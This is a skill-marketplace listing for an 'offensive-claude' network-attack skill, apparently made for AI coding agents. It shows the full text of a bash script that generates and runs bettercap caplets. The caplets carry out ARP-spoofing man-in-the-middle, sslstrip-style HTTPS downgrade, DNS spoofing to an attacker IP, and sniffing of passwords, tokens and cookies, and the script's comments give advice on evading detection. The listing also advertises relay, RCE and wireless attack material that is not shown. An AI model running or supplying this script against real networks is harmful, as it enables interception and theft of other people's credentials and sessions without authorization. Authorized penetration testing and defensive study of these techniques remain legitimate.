hypnguyen1209/offensive-claude / skills/network-attack
network-attack
VerifiedUse when attacking a network or moving laterally — L2/L3 poisoning (LLMNR/mDNS, ARP/DHCP, mitm6), coercion + NTLM relay (CVE-2025-33073), TUN pivoting (Ligolo-ng/Chisel), MitM, network-service RCE (CVE-2024-38077), WPA2/WPA3 wireless
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 10.5 KB |
| references/coercion-relay-network.md | markdown | 6.8 KB |
| references/l2-attacks.md | markdown | 10.0 KB |
| references/mitm-interception.md | markdown | 5.6 KB |
| references/pivoting-tunneling.md | markdown | 6.8 KB |
| references/protocol-rce.md | markdown | 7.0 KB |
| references/wireless-attacks.md | markdown | 8.9 KB |
| scripts/bettercap_mitm.sh | script | 2.4 KB |
| scripts/mitm6_relay_launcher.sh | script | 2.8 KB |
| scripts/net_service_scan.py | script | 5.0 KB |
| scripts/pivot_autoroute.sh | script | 3.1 KB |
| scripts/relay_target_finder.py | script | 4.2 KB |
| scripts/responder_loot_parser.py | script | 4.6 KB |
| scripts/vlan_hop.py | script | 5.1 KB |
| scripts/wifi_attack.sh | script | 4.6 KB |
scripts/bettercap_mitm.sh
View on GitHub#!/usr/bin/env bash
# bettercap_mitm.sh - Generate and run a bettercap caplet for ARP-spoof MitM
# with DNS spoofing, HSTS-bypass (sslstrip2 via the http.proxy), and full
# credential/cookie sniffing. Also covers a passive sniff-only mode.
#
# USAGE:
# sudo ./bettercap_mitm.sh active <iface> <target_ip>[,<ip2>...] [gateway_ip]
# sudo ./bettercap_mitm.sh passive <iface>
# sudo ./bettercap_mitm.sh dns <iface> <target_ip> <spoof_domain> <attacker_ip>
#
# DEPENDENCIES: bettercap (>=2.32), root, IP forwarding (caplet enables it).
#
# OPSEC: ARP spoofing rewrites the victim+gateway ARP caches -> arpwatch /
# XArp / switch DAI (Dynamic ARP Inspection) will flag duplicate-MAC and
# MAC/IP binding violations. HSTS-preloaded sites cannot be stripped. Use
# half-duplex (target only, not gateway) to reduce footprint when possible.
set -euo pipefail
MODE="${1:?mode required: active|passive|dns}"
IFACE="${2:?interface required}"
CAPLET="$(mktemp --suffix=.cap)"
trap 'rm -f "$CAPLET"' EXIT
case "$MODE" in
active)
TARGETS="${3:?target ip(s) required}"
GW="${4:-}"
cat > "$CAPLET" <<EOF
set arp.spoof.targets ${TARGETS}
$( [ -n "$GW" ] && echo "set arp.spoof.gateway ${GW}" )
# fullduplex spoofs both victim and gateway; comment out for stealthier half-duplex
set arp.spoof.fullduplex true
net.probe on
set net.sniff.verbose true
set net.sniff.regexp (?i)(pass|user|login|token|cookie|authorization)
arp.spoof on
net.sniff on
# transparent HTTP proxy with sslstrip-style downgrade (non-HSTS sites only)
set http.proxy.sslstrip true
http.proxy on
EOF
echo "[*] ARP-spoof MitM on $IFACE targets=$TARGETS gw=${GW:-auto}"
;;
passive)
cat > "$CAPLET" <<EOF
net.probe on
set net.sniff.verbose true
set net.sniff.local true
net.sniff on
EOF
echo "[*] Passive sniff on $IFACE (no spoofing, stealthy recon)"
;;
dns)
TARGET="${3:?target ip required}"
DOMAIN="${4:?spoof domain required}"
ATTACKER="${5:?attacker ip required}"
cat > "$CAPLET" <<EOF
set arp.spoof.targets ${TARGET}
set dns.spoof.domains ${DOMAIN}
set dns.spoof.address ${ATTACKER}
set dns.spoof.all true
net.probe on
arp.spoof on
dns.spoof on
EOF
echo "[*] ARP+DNS spoof: ${DOMAIN} -> ${ATTACKER} for victim ${TARGET}"
;;
*)
echo "[!] unknown mode: $MODE"; exit 1 ;;
esac
echo "[*] caplet:"; sed 's/^/ /' "$CAPLET"
echo "[*] launching bettercap (Ctrl-C restores ARP tables on exit)"
exec bettercap -iface "$IFACE" -caplet "$CAPLET"
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack." | Stars: 198k | Updated | Claude CodeCodex | Verified | Install |
| ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |